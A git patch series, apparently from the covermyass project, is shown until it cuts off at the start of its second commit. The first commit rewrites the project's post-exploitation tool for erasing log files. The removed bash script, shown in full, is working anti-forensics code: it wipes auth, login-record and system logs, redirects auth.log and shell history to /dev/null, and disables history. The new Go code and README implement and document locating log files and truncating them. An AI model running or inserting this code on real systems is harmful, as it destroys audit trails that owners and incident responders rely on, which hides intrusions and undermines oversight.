From cec318a9353dca6a4d88b156d24bbac43b5137e9 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Mon, 31 Oct 2022 14:20:17 +0400 Subject: [PATCH 01/22] init v2 project --- .github/workflows/build.yml | 56 +++++++++++ .gitignore | 23 +++++ .travis.yml | 9 -- CODEOWNERS | 1 + Makefile | 62 ++++++++++++ README.md | 78 ++++----------- build/build.go | 21 +++++ build/build_test.go | 33 +++++++ cmd/root.go | 86 +++++++++++++++++ covermyass | 183 ------------------------------------ go.mod | 19 ++++ go.sum | 30 ++++++ lib/analysis/analysis.go | 73 ++++++++++++++ lib/analysis/utils.go | 17 ++++ lib/filter/filter.go | 26 +++++ lib/find/fileinfo.go | 17 ++++ lib/find/finder.go | 78 +++++++++++++++ lib/find/finder_test.go | 7 ++ lib/output/printer.go | 45 +++++++++ lib/services/init.go | 5 + lib/services/services.go | 25 +++++ lib/services/sshd.go | 25 +++++ logs/config.go | 36 +++++++ main.go | 25 +++++ 24 files changed, 727 insertions(+), 253 deletions(-) create mode 100644 .github/workflows/build.yml create mode 100644 .gitignore delete mode 100644 .travis.yml create mode 100644 CODEOWNERS create mode 100644 Makefile create mode 100644 build/build.go create mode 100644 build/build_test.go create mode 100644 cmd/root.go delete mode 100755 covermyass create mode 100644 go.mod create mode 100644 go.sum create mode 100644 lib/analysis/analysis.go create mode 100644 lib/analysis/utils.go create mode 100644 lib/filter/filter.go create mode 100644 lib/find/fileinfo.go create mode 100644 lib/find/finder.go create mode 100644 lib/find/finder_test.go create mode 100644 lib/output/printer.go create mode 100644 lib/services/init.go create mode 100644 lib/services/services.go create mode 100644 lib/services/sshd.go create mode 100644 logs/config.go create mode 100644 main.go diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..f23ed94 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,56 @@ +name: Go build + +on: + push: + branches: + - master + pull_request: + branches: + - master + +jobs: + build: + name: Build + runs-on: ubuntu-latest + steps: + - name: Set up Go + uses: actions/setup-go@v3.2.0 + with: + go-version: 1.18.4 + id: go + - name: Check out code into the Go module directory + uses: actions/checkout@v3.0.0 + + - name: Get dependencies + run: | + go get -v -t -d ./... + + - name: Enforce Go formatted code + run: | + make fmt + if [[ -z $(git status --porcelain) ]]; then + echo "Git directory is clean." + else + echo "Git directory is dirty. Run make fmt locally and commit any formatting fixes or generated code." + git status --porcelain + exit 1 + fi + + - name: Install tools + run: make install-tools + + - name: Build + run: make build + + - name: Lint + run: make lint + + - name: Test + run: go test -race -coverprofile=./c.out -covermode=atomic -v ./... + + - name: Report code coverage + env: + COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + go install github.com/mattn/goveralls@latest + goveralls -coverprofile=./c.out -service=github diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..cfdd07c --- /dev/null +++ b/.gitignore @@ -0,0 +1,23 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib +/bin + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Dependency directories (remove the comment below to include it) +# vendor/ +.vscode/ + +.DS_Store +coverage +coverage.* +unit-tests.xml +.idea diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 1ef94fb..0000000 --- a/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -os: linux - -before_script: - - shellcheck ./covermyass - - sudo cp covermyass /usr/bin/covermyass - - sudo chmod +x /usr/bin/covermyass - -script: - - sudo covermyass now diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000..c8428d2 --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1 @@ +* @sundowndev diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..5704e01 --- /dev/null +++ b/Makefile @@ -0,0 +1,62 @@ +# Use bash syntax +SHELL=/bin/bash +# Go parameters +GOCMD=go +GOBINPATH=$(shell $(GOCMD) env GOPATH)/bin +GOMOD=$(GOCMD) mod +GOBUILD=$(GOCMD) build +GOCLEAN=$(GOCMD) clean +GOTEST=gotestsum +GOGET=$(GOCMD) get +GOINSTALL=$(GOCMD) install +GOTOOL=$(GOCMD) tool +GOFMT=$(GOCMD) fmt +GIT_TAG=$(shell git describe --abbrev=0 --tags) +GIT_COMMIT=$(shell git rev-parse --short HEAD) + +.PHONY: FORCE + +.PHONY: all +all: fmt lint test build go.mod + +.PHONY: build +build: + go generate ./... + go build -v -ldflags="-s -w -X 'github.com/sundowndev/covermyass/v2/build.version=${GIT_TAG}' -X 'github.com/sundowndev/covermyass/v2/build.commit=${GIT_COMMIT}'" -o ./bin/covermyass . + +.PHONY: test +test: + $(GOTEST) --format testname --junitfile unit-tests.xml -- -mod=readonly -race -coverprofile=./c.out -covermode=atomic -coverpkg=.,./... ./... + +.PHONY: coverage +coverage: test + $(GOTOOL) cover -func=cover.out + +.PHONY: mocks +mocks: + rm -rf mocks + mockery --all + +.PHONY: fmt +fmt: + $(GOFMT) ./... + +.PHONY: clean +clean: + $(GOCLEAN) + rm -f bin/* + +.PHONY: lint +lint: + @which golangci-lint > /dev/null 2>&1 || (curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | bash -s -- -b $(GOBINPATH) v1.50.1) + golangci-lint run -v --timeout=10m + +.PHONY: install-tools +install-tools: + $(GOINSTALL) gotest.tools/gotestsum@v1.6.3 + $(GOINSTALL) github.com/vektra/mockery/v2@v2.8.0 + +go.mod: FORCE + $(GOMOD) tidy + $(GOMOD) verify +go.sum: go.mod diff --git a/README.md b/README.md index 4fce9ff..eba1bbf 100644 --- a/README.md +++ b/README.md @@ -1,97 +1,53 @@ -# Covermyass +# covermyass -[![Build status](https://img.shields.io/travis/sundowndev/covermyass/master.svg?style=flat-square)](https://travis-ci.org/sundowndev/covermyass/builds) -[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg?style=flat-square)](https://github.com/sundowndev/covermyass/releases) - -**⚠️ This tool is unmaintained** +[![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions) +[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases) ### About -Shell script to cover your tracks on UNIX systems. Designed for pen testing "covering tracks" phase, before exiting the infected server. Or, permanently disable system logs for post-exploitation. - -This tool allows you to clear log files such as : - -```bash -# Linux -/var/log/messages # General message and system related stuff -/var/log/auth.log # Authenication logs -/var/log/kern.log # Kernel logs -/var/log/cron.log # Crond logs -/var/log/maillog # Mail server logs -/var/log/boot.log # System boot log -/var/log/mysqld.log # MySQL database server log file -/var/log/qmail # Qmail log directory -/var/log/httpd # Apache access and error logs directory -/var/log/lighttpd # Lighttpd access and error logs directory -/var/log/secure # Authentication log -/var/log/utmp # Login records file -/var/log/wtmp # Login records file -/var/log/yum.log # Yum command log file - -# macOS -/var/log/system.log # System Log -/var/log/DiagnosticMessages # Mac Analytics Data -/Library/Logs # System Application Logs -/Library/Logs/DiagnosticReports # System Reports -~/Library/Logs # User Application Logs -~/Library/Logs/DiagnosticReports # User Reports -``` +Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. ## Installation With sudo ```bash -sudo curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o /usr/bin/covermyass +sudo curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o /usr/bin/covermyass sudo chmod +x /usr/bin/covermyass ``` Without sudo : ```bash -curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o ~/.local/bin/covermyass +curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o ~/.local/bin/covermyass chmod +x ~/.local/bin/covermyass ``` -You can now use the tool using the executable. - -Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files (`/var/log`). +Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files. ## Usage -Simply type : +Run an analysis to find log files : ``` -covermyass # you may need to use sudo if you want to clean auth logs +covermyass ``` -Follow the instructions : +Clear log files instantly : ``` -Welcome to Cover my ass tool ! - -Select an option : - -1) Clear logs for user root -2) Permenently disable auth & bash history -3) Restore settings to default -99) Exit tool - -> +covermyass --write ``` -*NOTE: don't forget to exit the terminal session since the bash history is cached.* - -Clear logs instantly (requires *sudo* to be efficient) : +Add custom file paths : ``` -sudo covermyass now +covermyass -p '/db/**/*.log' ``` -### Using cron job +Filter out some paths : -Clear bash history every day at 5am : - -```bash -0 5 * * * covermyass now >/dev/null 2>&1 +``` +covermyass -f '/foo/bar/*.log' +covermyass -f '/foo/bar.log' ``` diff --git a/build/build.go b/build/build.go new file mode 100644 index 0000000..2d1f88b --- /dev/null +++ b/build/build.go @@ -0,0 +1,21 @@ +package build + +import ( + "fmt" + "runtime" +) + +var version = "dev" +var commit = "dev" + +func Name() string { + return fmt.Sprintf("%s-%s", version, commit) +} + +func String() string { + return fmt.Sprintf("%s (%s)", Name(), runtime.Version()) +} + +func IsRelease() bool { + return Name() != "dev-dev" +} diff --git a/build/build_test.go b/build/build_test.go new file mode 100644 index 0000000..c92f315 --- /dev/null +++ b/build/build_test.go @@ -0,0 +1,33 @@ +package build + +import ( + "fmt" + "github.com/stretchr/testify/assert" + "runtime" + "testing" +) + +func TestBuild(t *testing.T) { + t.Run("version and commit default values", func(t *testing.T) { + assert.Equal(t, "dev", version) + assert.Equal(t, "dev", commit) + assert.Equal(t, false, IsRelease()) + assert.Equal(t, "dev-dev", Name()) + }) + + t.Run("version and commit default values", func(t *testing.T) { + version = "v2.4.4" + commit = "0ba854f" + assert.Equal(t, true, IsRelease()) + assert.Equal(t, "v2.4.4-0ba854f", Name()) + + // Reset values + version = "dev" + commit = "dev" + }) + + t.Run("version and commit with Go version", func(t *testing.T) { + assert.Equal(t, false, IsRelease()) + assert.Equal(t, fmt.Sprintf("dev-dev (%s)", runtime.Version()), String()) + }) +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..a01eb37 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,86 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "github.com/sundowndev/covermyass/v2/build" + "github.com/sundowndev/covermyass/v2/lib/analysis" + "github.com/sundowndev/covermyass/v2/lib/filter" + "github.com/sundowndev/covermyass/v2/lib/find" + "github.com/sundowndev/covermyass/v2/lib/output" + "github.com/sundowndev/covermyass/v2/lib/services" + "log" + "os" + "runtime" +) + +type RootCmdOptions struct { + List bool + Write bool + //ExtraPaths []string + //FilterRules []string +} + +func NewRootCmd() *cobra.Command { + opts := &RootCmdOptions{} + cmd := &cobra.Command{ + Use: "covermyass", + Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.", + Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", + Example: "covermyass --write -p /db/*.log\n" + + "covermyass --list -p /db/**/*.log", + Version: build.String(), + RunE: func(cmd *cobra.Command, args []string) error { + if opts.List { + opts.Write = false + } else { + output.ChangePrinter(output.NewConsolePrinter()) + } + + a := analysis.New() + + output.Printf("Loading known log files for %s\n", runtime.GOOS) + services.Init() + for _, service := range services.Services() { + patterns, ok := service.Paths()[runtime.GOOS] + if !ok { + continue + } + a.AddPatterns(patterns...) + } + + filterEngine := filter.NewEngine() + finder := find.New(os.DirFS(""), filterEngine, a.Patterns()) + + output.Printf("Searching for log files...\n\n") + err := finder.Run() + if err != nil { + log.Fatal(err) + } + + for _, info := range finder.Results() { + a.AddResult(analysis.Result{ + Path: info.Path(), + Size: info.Size(), + Mode: info.Mode(), + }) + } + + if opts.List { + for _, result := range a.Results() { + fmt.Println(result.Path) + } + return nil + } + + a.Write(os.Stdout) + + return nil + }, + } + + cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation.") + cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL truncate the files!") + + return cmd +} diff --git a/covermyass b/covermyass deleted file mode 100755 index f750eae..0000000 --- a/covermyass +++ /dev/null @@ -1,183 +0,0 @@ -#!/usr/bin/env bash - -LOGS_FILES=( - /var/log/messages # General message and system related stuff - /var/log/auth.log # Authenication logs - /var/log/kern.log # Kernel logs - /var/log/cron.log # Crond logs - /var/log/maillog # Mail server logs - /var/log/boot.log # System boot log - /var/log/mysqld.log # MySQL database server log file - /var/log/qmail # Qmail log directory - /var/log/httpd # Apache access and error logs directory - /var/log/lighttpd # Lighttpd access and error logs directory - /var/log/secure # Authentication log - /var/log/utmp # Login records file - /var/log/wtmp # Login records file - /var/log/yum.log # Yum command log file - /var/log/system.log # System Log - /var/log/DiagnosticMessages # Mac Analytics Data - /Library/Logs # System Application Logs - /Library/Logs/DiagnosticReports # System Reports - ~/Library/Logs # User Application Logs - ~/Library/Logs/DiagnosticReports # User Reports -) - -function isRoot () { - if [ "$EUID" -ne 0 ]; then - return 1 - fi -} - -function menu () { - echo - echo "Welcome to Cover my ass tool !" - - echo - echo "Select an option :" - echo - echo "1) Clear logs for user $USER" - echo "2) Permenently disable auth & bash history" - echo "3) Restore settings to default" - echo "99) Exit tool" - echo - - printf "> " - read -r option - echo -} - -function disableAuth () { - if [ -w /var/log/auth.log ]; then - ln /dev/null /var/log/auth.log -sf - echo "[+] Permanently sending /var/log/auth.log to /dev/null" - else - echo "[!] /var/log/auth.log is not writable! Retry using sudo." - fi -} - -function disableHistory () { - ln /dev/null ~/.bash_history -sf - echo "[+] Permanently sending bash_history to /dev/null" - - if [ -f ~/.zsh_history ]; then - ln /dev/null ~/.zsh_history -sf - echo "[+] Permanently sending zsh_history to /dev/null" - fi - - export HISTFILESIZE=0 - export HISTSIZE=0 - echo "[+] Set HISTFILESIZE & HISTSIZE to 0" - - set +o history - echo "[+] Disabled history library" - - echo - echo "Permenently disabled bash log." -} - -function enableAuth () { - if [ -w /var/log/auth.log ] && [ -L /var/log/auth.log ]; then - rm -rf /var/log/auth.log - echo "" > /var/log/auth.log - echo "[+] Disabled sending auth logs to /dev/null" - else - echo "[!] /var/log/auth.log is not writable! Retry using sudo." - fi -} - -function enableHistory () { - if [[ -L ~/.bash_history ]]; then - rm -rf ~/.bash_history - echo "" > ~/.bash_history - echo "[+] Disabled sending history to /dev/null" - fi - - if [[ -L ~/.zsh_history ]]; then - rm -rf ~/.zsh_history - echo "" > ~/.zsh_history - echo "[+] Disabled sending zsh history to /dev/null" - fi - - export HISTFILESIZE="" - export HISTSIZE=50000 - echo "[+] Restore HISTFILESIZE & HISTSIZE default values." - - set -o history - echo "[+] Enabled history library" - - echo - echo "Permenently enabled bash log." -} - -function clearLogs () { - for i in "${LOGS_FILES[@]}" - do - if [ -f "$i" ]; then - if [ -w "$i" ]; then - echo "" > "$i" - echo "[+] $i cleaned." - else - echo "[!] $i is not writable! Retry using sudo." - fi - elif [ -d "$i" ]; then - if [ -w "$i" ]; then - rm -rf "${i:?}"/* - echo "[+] $i cleaned." - else - echo "[!] $i is not writable! Retry using sudo." - fi - fi - done -} - -function clearHistory () { - if [ -f ~/.zsh_history ]; then - echo "" > ~/.zsh_history - echo "[+] ~/.zsh_history cleaned." - fi - - echo "" > ~/.bash_history - echo "[+] ~/.bash_history cleaned." - - history -c - echo "[+] History file deleted." - - echo - echo "Reminder: your need to reload the session to see effects." - echo "Type exit to do so." -} - -function exitTool () { - exit 1 -} - -clear # Clear output - -# "now" option -if [ -n "$1" ] && [ "$1" == 'now' ]; then - clearLogs - clearHistory - exit 0 -fi - -menu - -if [[ $option == 1 ]]; then - # Clear logs & current history - clearLogs - clearHistory -elif [[ $option == 2 ]]; then - # Permenently disable auth & bash log - disableAuth - disableHistory -elif [[ $option == 3 ]]; then - # Restore default settings - enableAuth - enableHistory -elif [[ $option == 99 ]]; then - # Exit tool - exitTool -else - echo "[!] Option not reconized. Exiting." -fi diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..6d82100 --- /dev/null +++ b/go.mod @@ -0,0 +1,19 @@ +module github.com/sundowndev/covermyass/v2 + +go 1.18 + +require ( + github.com/bmatcuk/doublestar/v4 v4.2.0 + github.com/sirupsen/logrus v1.9.0 + github.com/spf13/cobra v1.6.0 + github.com/stretchr/testify v1.8.0 +) + +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..1d50960 --- /dev/null +++ b/go.sum @@ -0,0 +1,30 @@ +github.com/bmatcuk/doublestar/v4 v4.2.0 h1:Qu+u9wR3Vd89LnlLMHvnZ5coJMWKQamqdz9/p5GNthA= +github.com/bmatcuk/doublestar/v4 v4.2.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI= +github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/lib/analysis/analysis.go b/lib/analysis/analysis.go new file mode 100644 index 0000000..e69b83d --- /dev/null +++ b/lib/analysis/analysis.go @@ -0,0 +1,73 @@ +package analysis + +import ( + "fmt" + "io" + "os" + "time" +) + +type Summary struct { + TotalFiles int + TotalRWFiles int + TotalROFiles int +} + +type Result struct { + Path string + Size int64 + Mode os.FileMode +} + +type Analysis struct { + Date time.Time + summary Summary + patterns []string + results []Result +} + +func New() *Analysis { + return &Analysis{ + Date: time.Now(), + summary: Summary{}, + patterns: []string{}, + results: []Result{}, + } +} + +func (a *Analysis) AddPatterns(patterns ...string) { + a.patterns = append(a.patterns, patterns...) +} + +func (a *Analysis) Patterns() []string { + return a.patterns +} + +func (a *Analysis) AddResult(result Result) { + a.results = append(a.results, result) + a.summary.TotalFiles += 1 +} + +func (a *Analysis) Results() []Result { + return a.results +} + +func (a *Analysis) Write(w io.Writer) { + if len(a.results) > 0 { + _, _ = fmt.Fprintf(w, "Found the following files\n") + + for _, res := range a.results { + _, _ = fmt.Fprintf(w, "%s (%s)\n", res.Path, byteCountSI(res.Size)) + } + _, _ = fmt.Fprintf(w, "\n") + } + + _, _ = fmt.Fprintf( + w, + "Summary\nFound %d files (%d RW, %d RO) in %s\n", + a.summary.TotalFiles, + a.summary.TotalRWFiles, + a.summary.TotalROFiles, + time.Since(a.Date).Round(time.Millisecond).String(), + ) +} diff --git a/lib/analysis/utils.go b/lib/analysis/utils.go new file mode 100644 index 0000000..249301a --- /dev/null +++ b/lib/analysis/utils.go @@ -0,0 +1,17 @@ +package analysis + +import "fmt" + +func byteCountSI(b int64) string { + const unit = 1000 + if b < unit { + return fmt.Sprintf("%d B", b) + } + div, exp := int64(unit), 0 + for n := b / unit; n >= unit; n /= unit { + div *= unit + exp++ + } + return fmt.Sprintf("%.1f %cB", + float64(b)/float64(div), "kMGTPE"[exp]) +} diff --git a/lib/filter/filter.go b/lib/filter/filter.go new file mode 100644 index 0000000..99f797e --- /dev/null +++ b/lib/filter/filter.go @@ -0,0 +1,26 @@ +package filter + +type Filter interface { + Match(string) bool +} + +type Engine struct { + rules []string +} + +func NewEngine() *Engine { + return &Engine{} +} + +func (e *Engine) AddRule(r ...string) { + e.rules = append(e.rules, r...) +} + +func (e *Engine) Match(r string) bool { + for _, rule := range e.rules { + if rule == r { + return true + } + } + return false +} diff --git a/lib/find/fileinfo.go b/lib/find/fileinfo.go new file mode 100644 index 0000000..4f643b6 --- /dev/null +++ b/lib/find/fileinfo.go @@ -0,0 +1,17 @@ +package find + +import "io/fs" + +type FileInfo interface { + fs.FileInfo + Path() string +} + +type fileInfo struct { + fs.FileInfo + path string +} + +func (f *fileInfo) Path() string { + return f.path +} diff --git a/lib/find/finder.go b/lib/find/finder.go new file mode 100644 index 0000000..a2b294a --- /dev/null +++ b/lib/find/finder.go @@ -0,0 +1,78 @@ +package find + +import ( + "fmt" + "github.com/bmatcuk/doublestar/v4" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/filter" + "io/fs" + "os" + "path/filepath" + "strings" +) + +type Finder interface { + Run() error + Results() []FileInfo +} + +type finder struct { + fs fs.FS + filter filter.Filter + paths []string + results []FileInfo +} + +func New(fsys fs.FS, filterEngine filter.Filter, paths []string) Finder { + return &finder{ + fs: fsys, + filter: filterEngine, + paths: paths, + results: make([]FileInfo, 0), + } +} + +func (f *finder) Run() error { + // Voluntary reset the results slice + f.results = make([]FileInfo, 0) + + for _, pattern := range f.paths { + if len(pattern) == 0 { + logrus.Warn("pattern skipped because it has lengh of 0") + continue + } + + var formattedPattern string + if strings.Split(pattern, "")[0] == string(os.PathSeparator) { + formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "") + } + + // TODO(sundowndev): run this in a goroutine? + err := doublestar.GlobWalk(f.fs, filepath.ToSlash(formattedPattern), func(path string, d fs.DirEntry) error { + info, err := d.Info() + if err != nil { + return err + } + f.results = append(f.results, &fileInfo{info, fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path))}) + return nil + }) + if err != nil { + logrus.WithField("pattern", filepath.ToSlash(formattedPattern)).Error(err) + } + } + return nil +} + +func (f *finder) Results() []FileInfo { + // Remove duplicates + resultsMap := make(map[string]FileInfo, 0) + for _, res := range f.results { + resultsMap[res.Path()] = res + } + resultsSlice := make([]FileInfo, 0) + for _, file := range resultsMap { + resultsSlice = append(resultsSlice, file) + } + + return resultsSlice +} diff --git a/lib/find/finder_test.go b/lib/find/finder_test.go new file mode 100644 index 0000000..96940f0 --- /dev/null +++ b/lib/find/finder_test.go @@ -0,0 +1,7 @@ +package find + +import "testing" + +func TestFinder(t *testing.T) { + +} diff --git a/lib/output/printer.go b/lib/output/printer.go new file mode 100644 index 0000000..28042eb --- /dev/null +++ b/lib/output/printer.go @@ -0,0 +1,45 @@ +package output + +import ( + "fmt" + "os" +) + +type Printer interface { + Printf(string, ...interface{}) + Println(string) +} + +var globalPrinter Printer = &VoidPrinter{} + +func ChangePrinter(printer Printer) { + globalPrinter = printer +} + +func Printf(format string, args ...interface{}) { + globalPrinter.Printf(format, args...) +} + +func Println(format string) { + globalPrinter.Printf(format) +} + +type ConsolePrinter struct{} + +func NewConsolePrinter() Printer { + return &ConsolePrinter{} +} + +func (c *ConsolePrinter) Printf(format string, args ...interface{}) { + _, _ = fmt.Fprintf(os.Stdout, format, args...) +} + +func (c *ConsolePrinter) Println(format string) { + _, _ = fmt.Fprintln(os.Stdout, format) +} + +type VoidPrinter struct{} + +func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {} + +func (v *VoidPrinter) Println(_ string) {} diff --git a/lib/services/init.go b/lib/services/init.go new file mode 100644 index 0000000..27a0fbe --- /dev/null +++ b/lib/services/init.go @@ -0,0 +1,5 @@ +package services + +func Init() { + AddService(NewSSHdService()) +} diff --git a/lib/services/services.go b/lib/services/services.go new file mode 100644 index 0000000..42e79ba --- /dev/null +++ b/lib/services/services.go @@ -0,0 +1,25 @@ +package services + +import "os" + +const ( + Linux = "linux" + Darwin = "darwin" + Windows = "windows" +) + +var services []Service + +type Service interface { + Name() string + Paths() map[string][]string + HandleFile(string, os.FileInfo) error +} + +func Services() []Service { + return services +} + +func AddService(s Service) { + services = append(services, s) +} diff --git a/lib/services/sshd.go b/lib/services/sshd.go new file mode 100644 index 0000000..5114aa9 --- /dev/null +++ b/lib/services/sshd.go @@ -0,0 +1,25 @@ +package services + +import "os" + +type SSHdService struct{} + +func NewSSHdService() Service { + return &SSHdService{} +} + +func (s *SSHdService) Name() string { + return "sshd" +} + +func (s *SSHdService) Paths() map[string][]string { + return map[string][]string{ + Linux: { + "/var/log/sshd.log", + }, + } +} + +func (s *SSHdService) HandleFile(path string, info os.FileInfo) error { + return os.Truncate(path, 0) +} diff --git a/logs/config.go b/logs/config.go new file mode 100644 index 0000000..b0bd609 --- /dev/null +++ b/logs/config.go @@ -0,0 +1,36 @@ +package logs + +import ( + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/build" + "os" +) + +type Config struct { + Level logrus.Level + ReportCaller bool +} + +func Init() { + config := getConfig() + logrus.SetLevel(config.Level) + logrus.SetReportCaller(config.ReportCaller) +} + +func getConfig() Config { + config := Config{ + Level: logrus.WarnLevel, + ReportCaller: false, + } + + if !build.IsRelease() { + config.Level = logrus.DebugLevel + } + + if lvl := os.Getenv("LOG_LEVEL"); lvl != "" { + loglevel, _ := logrus.ParseLevel(lvl) + config.Level = loglevel + } + + return config +} diff --git a/main.go b/main.go new file mode 100644 index 0000000..7579cec --- /dev/null +++ b/main.go @@ -0,0 +1,25 @@ +package main + +import ( + "fmt" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/build" + "github.com/sundowndev/covermyass/v2/cmd" + "log" + "runtime" + + "github.com/sundowndev/covermyass/v2/logs" +) + +func main() { + logs.Init() + logrus.WithFields(logrus.Fields{ + "is_release": fmt.Sprintf("%t", build.IsRelease()), + "version": build.Name(), + "go_version": runtime.Version(), + }).Debug("Build info") + + if err := cmd.NewRootCmd().Execute(); err != nil { + log.Fatal(err) + } +} From c580f0b9e4e4d9c52346a4d827d26cd94a45f13e Mon Sep 17 00:00:00 2001 From: sundowndev Date: Mon, 31 Oct 2022 18:59:20 +0400 Subject: [PATCH 02/22] feat: create analyzer --- cmd/root.go | 41 +++++-------------- lib/analysis/analysis.go | 28 ++++++------- lib/analysis/analyzer.go | 60 